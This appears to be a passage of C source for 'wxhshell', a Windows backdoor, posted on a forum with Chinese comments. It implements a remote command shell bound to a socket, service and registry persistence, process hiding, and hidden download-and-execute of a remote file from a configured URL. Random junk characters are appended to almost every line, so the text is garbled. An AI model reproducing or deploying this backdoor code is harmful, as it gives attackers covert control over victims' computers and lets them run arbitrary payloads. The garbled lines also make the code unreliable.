  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HM9fjl[  
  } l.+yn91%>  
  else { vbG]mMJ  
q_[G1&MC  
    switch(cmd[0]) { 1;F`c`0<  
  9KuD(EJS  
  // 帮助 n/4i|-^  
  case '?': { 9Ul(GI(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  aSutM  
    break; 8|^CK|m6*  
  } PoSpkJH  
  // 安装 [g|Y7.j8  
  case 'i': { [<c&|tfl  
    if(Install()) {y)s.b~JB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #q\x$   
    else h*i9m o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #]Y>KX2HG  
    break; {w6/[ -^  
    } X6e/g{S)  
  // 卸载 pv)`%<  
  case 'r': { '@nbqM  
    if(Uninstall()) 1GCzyBSbb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V ~{fB~  
    else cC{"<fYF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zCaT tb|@  
    break; D<$XyP  
    } TI|/u$SJ<Z  
  // 显示 wxhshell 所在路径 9LC&6Q5O&  
  case 'p': { #'baPqdO  
    char svExeFile[MAX_PATH]; rVnd0K  
    strcpy(svExeFile,"\n\r"); ne}+E  
      strcat(svExeFile,ExeFile); `{v?6:G:Q  
        send(wsh,svExeFile,strlen(svExeFile),0); 8 .>/6M  
    break; pKG<Nvgz&  
    } t<iEj"5  
  // 重启 s@4nWe  
  case 'b': { 08bJCH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &DG->$&|  
    if(Boot(REBOOT)) (.Y/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \c,pEXG  
    else { K>:]Bx#F7  
    closesocket(wsh); ] y{WD=T  
    ExitThread(0); #18FA|   
    } CT a#Q,  
    break; HvwYm.$zE  
    } 5Z/7kU= I  
  // 关机 uP $ Cj  
  case 'd': { ]  ]U<UJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CK+d!Eg  
    if(Boot(SHUTDOWN)) Fzlozx1y[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.Vu KsP]  
    else { E(pF:po  
    closesocket(wsh); :'L2J  
    ExitThread(0); zdl%iop3e  
    } ~T7B$$  
    break; .jw}JJ  
    } qVqRf.-\  
  // 获取shell BAj-akc f  
  case 's': { O4 3YY2  
    CmdShell(wsh); Xl7aGlH  
    closesocket(wsh); lH^^77"4Qo  
    ExitThread(0); }kHdK vZ  
    break; +yob)%  
  } gU^$Sx7'  
  // 退出 s'aip5P  
  case 'x': { bu7'oB~:V^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %=we `&  
    CloseIt(wsh); U6ZR->:  
    break; '+>fFM,*B  
    } D%mXA70  
  // 离开 RgdysyB  
  case 'q': { r~-.nb"P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d,vNem-Z*L  
    closesocket(wsh); kv,%(en]  
    WSACleanup(); G0 J4O!3  
    exit(1); b i y4 d  
    break; []R? ViG  
        } zJDSbsc$%  
  } G|w=ez  
  } L TV{{Z+  
UUKP"  
  // 提示信息 g[ 0<m#"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1% F?B-k  
} EFuvp8^y  
  } \I-#1M  
f %lD08Sl  
  return; 02`$OTKz  
} /yz=Cjoz  
)3YtIH_  
// shell模块句柄 GuZ ( &G6*  
int CmdShell(SOCKET sock) X{n- N5*  
{ q+ KzIde|%  
STARTUPINFO si; aSuM2  
ZeroMemory(&si,sizeof(si)); [3l*F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $WYbm}j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8(.mt/MR  
PROCESS_INFORMATION ProcessInfo; +uWDP .  
char cmdline[]="cmd"; P1b'%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J89Dul l  
  return 0; G2LK]  
} &R|/t :DN  
_rV5E  
// 自身启动模式 Iz6y{E  
int StartFromService(void) F62V 3 Xy  
{ +X`V|E,no  
typedef struct gj\)CBOv  
{ d_n7k g+  
  DWORD ExitStatus; lZ8CY  
  DWORD PebBaseAddress; ;!91^Tl  
  DWORD AffinityMask; ~^u16z,  
  DWORD BasePriority; }>^Q'BW;65  
  ULONG UniqueProcessId; Q%/<ZC.Mz6  
  ULONG InheritedFromUniqueProcessId; wxm:7$4C  
}   PROCESS_BASIC_INFORMATION; Uie?9&3  
E^GHVt/.  
PROCNTQSIP NtQueryInformationProcess; V._6=ZJ  
Zh5RwQNE~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5qg2Zc~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {QBB^px  
*5zrZ]^  
  HANDLE             hProcess; "fg](Cp[z  
  PROCESS_BASIC_INFORMATION pbi; %}86D[PF  
KZ!3j_pKy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DjU9 uZT  
  if(NULL == hInst ) return 0; J};z85B  
7NC=*A~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {k4CEt;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]M)O YY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7iHK_\tn  
<<D$+@wxm  
  if (!NtQueryInformationProcess) return 0; )uv=S;+  
[Q\GxX.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H$af /^  
  if(!hProcess) return 0; 5L:1A2Z?c  
.nYUL>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V{|}}b?w?  
>7!6nF3x,  
  CloseHandle(hProcess); c}3W:}lW  
;"O&X<BX-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fzjU<?}  
if(hProcess==NULL) return 0; e*+F pW@  
Q]rD}Ckv-  
HMODULE hMod; \4"S7.% |  
char procName[255]; [2ax>Yk$  
unsigned long cbNeeded; +A~\tK{  
r>jC_7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #fj/~[Ajv  
^kS T  
  CloseHandle(hProcess); SXao|{?O  
ZVeaTK4_ t  
if(strstr(procName,"services")) return 1; // 以服务启动 CG'.:` t  
d:G]1k;z  
  return 0; // 注册表启动 GE>[*zN  
} m/NdJMoN=  
gyS+9)gY  
// 主模块 ) 'j:  
int StartWxhshell(LPSTR lpCmdLine) ' qdPw%d  
{ .1 %T W)  
  SOCKET wsl; +GsWTEz   
BOOL val=TRUE; n.hv!W0  
  int port=0; *m%]zj0bo  
  struct sockaddr_in door; lnE+Au'  
86f2'o+  
  if(wscfg.ws_autoins) Install(); #_mi `7!B#  
fC}R4f7C  
port=atoi(lpCmdLine); [i0Hm)Bd3  
6Es? MW=  
if(port<=0) port=wscfg.ws_port; mAk{"65V  
A`{y9@h(  
  WSADATA data; @\&m+;6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iCP/P%  
;,&8QcSVY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bqanFQj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3D9 !M-  
  door.sin_family = AF_INET; Bx[rC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "U. ^lkN  
  door.sin_port = htons(port); ,]}?.g  
6 z,&i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :b[`  v  
closesocket(wsl); Wl h~)   
return 1; :Q+5,v-c  
} 7FN<iI&7\  
pj?XLiM54%  
  if(listen(wsl,2) == INVALID_SOCKET) { .oEmU+  
closesocket(wsl); vd`}/~o  
return 1; :V)lbn\  
} +!f=jg06  
  Wxhshell(wsl); M5T9JWbN  
  WSACleanup(); g~UUP4<$"  
HE<1v@jW  
return 0; S' dV>m`  
>r &;3:"  
} fAZiC+  
UN"(5a8.  
// 以NT服务方式启动 W&h[p_0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +7Kyyu)y@  
{ p2PY@d}}.  
DWORD   status = 0; I *c;H I  
  DWORD   specificError = 0xfffffff; 61U<5:#l  
J==SZ v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E^w:KC2@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tgL$"chj@x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "i:T+#i({O  
  serviceStatus.dwWin32ExitCode     = 0; 3cj3u4y  
  serviceStatus.dwServiceSpecificExitCode = 0; 4Ij-Ilg)%  
  serviceStatus.dwCheckPoint       = 0; hzI *{  
  serviceStatus.dwWaitHint       = 0; <lr*ZSNY  
MH| ] \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [6jbgW~E  
  if (hServiceStatusHandle==0) return; T+LJ* I4  
$o@R^sJ  
status = GetLastError(); p}Fs'l?7Rq  
  if (status!=NO_ERROR) [NnauItI  
{ KlK`;cr?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uGdp@]z&8Q  
    serviceStatus.dwCheckPoint       = 0; G ;?qWB,  
    serviceStatus.dwWaitHint       = 0; 5>9Y|UU  
    serviceStatus.dwWin32ExitCode     = status; }awzO#  
    serviceStatus.dwServiceSpecificExitCode = specificError; h5 Vv:C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DaNW~rd{  
    return; s!/TU{8J  
  } ^EVc95|Z  
5CAR{|a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6VD1cb\lF  
  serviceStatus.dwCheckPoint       = 0; ujW1+Oj=~  
  serviceStatus.dwWaitHint       = 0; 9ykM3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lC 97_ T  
} wHz?#MW 3L  
Vbh6HqAHxJ  
// 处理NT服务事件,比如:启动、停止 QbYc[8-[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t?;T3k[RM  
{ 31Cq22"  
switch(fdwControl)  Gt9wR  
{ X fz`^x>M  
case SERVICE_CONTROL_STOP: U7&x rif  
  serviceStatus.dwWin32ExitCode = 0; ba@ax3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _i}wK?n  
  serviceStatus.dwCheckPoint   = 0; yh;Y,;4  
  serviceStatus.dwWaitHint     = 0; (7lBID4  
  { ]T O/kl/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8F;>5i  
  } wh 0<Uv  
  return; (.K\Jg'Y6j  
case SERVICE_CONTROL_PAUSE: ]pTvMom$6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ft%hh|$5y  
  break; KB{RU'?f|  
case SERVICE_CONTROL_CONTINUE: )J/HkOj"V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )tZ`K |  
  break; ?4PQQd  
case SERVICE_CONTROL_INTERROGATE: $%2_{m_K:p  
  break; M%Ku5X6:/  
}; A3P9.mur  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'TN)Lb*  
} `ZHP1uQ<  
V7CoZnz  
// 标准应用程序主函数 r$)$n&j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TmEY W<  
{ g: %9jf  
TZ^LA L'8_  
// 获取操作系统版本 5$l9@0D.\  
OsIsNt=GetOsVer(); 74vmt<Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7-iIay1h"  
GA^mgm"O  
  // 从命令行安装 34C``i  
  if(strpbrk(lpCmdLine,"iI")) Install(); -$Y8!54  
jThbeY[  
  // 下载执行文件 irxz l3   
if(wscfg.ws_downexe) { _pDjg%A>n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )@QJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); "|LQK0q3  
} ,j;PRJ  
DMgBcP  
if(!OsIsNt) { 6o}V@UzqV  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?_4^le[;  
HideProc(); Jgx8-\ 8  
StartWxhshell(lpCmdLine); c;!g  
} G\H q/4  
else i&tsYnP2  
  if(StartFromService()) y,C!9l  
  // 以服务方式启动 =:$) Z  
  StartServiceCtrlDispatcher(DispatchTable); UOI^c  
else L=A\ J^%  
  // 普通方式启动 )5l u.R%  
  StartWxhshell(lpCmdLine); O8RzUg&  
7c1+t_Ew  
return 0; p]f&mBO*  
}
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只看该作者 1 发表于: 2006-10-10
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